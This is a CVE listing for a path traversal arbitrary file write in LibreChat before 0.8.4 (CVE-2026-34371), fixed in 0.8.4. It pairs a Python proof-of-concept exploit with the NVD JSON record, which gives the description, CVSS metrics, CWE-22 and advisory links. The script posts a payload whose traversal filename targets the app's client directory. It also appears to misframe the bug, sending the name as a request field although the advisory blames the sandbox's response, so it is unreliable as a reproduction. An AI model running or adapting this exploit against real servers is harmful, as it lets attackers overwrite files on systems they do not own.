CVE-2026-34371

import requests # Target URL of the LibreChat instance target_url = "http://vulnerable-target/api/execute_code" # Malicious payload simulating the execute_code sandbox response # The 'name' field contains path traversal sequences payload = { "code": "console.log('test');", "name": "../../../../../app/client/dist/poc.txt" } try: # Send the malicious request to trigger the vulnerability response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if the file was written at the target path.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-34371", "sourceIdentifier": "[email protected]", "published": "2026-04-07T22:16:22.227", "lastModified": "2026-04-14T19:24:03.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LibreChat is a ChatGPT clone with additional features. Prior to 0.8.4, LibreChat trusts the name field returned by the execute_code sandbox when persisting code-generated artifacts. On deployments using the default local file strategy, a malicious artifact filename containing traversal sequences (for example, ../../../../../app/client/dist/poc.txt) is concatenated into the server-side destination path and written with fs.writeFileSync() without sanitization. This gives any user who can trigger execute_code an arbitrary file write primitive as the LibreChat server user. This vulnerability is fixed in 0.8.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:librechat:librechat:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.8.4", "matchCriteriaId": "63FE1740-F55B-4D56-92E5-407F97DA3475"}]}]}], "references": [{"url": "https://github.com/danny-avila/LibreChat/security/advisories/GHSA-qrm5-r67f-6692", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/danny-avila/LibreChat/security/advisories/GHSA-qrm5-r67f-6692", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}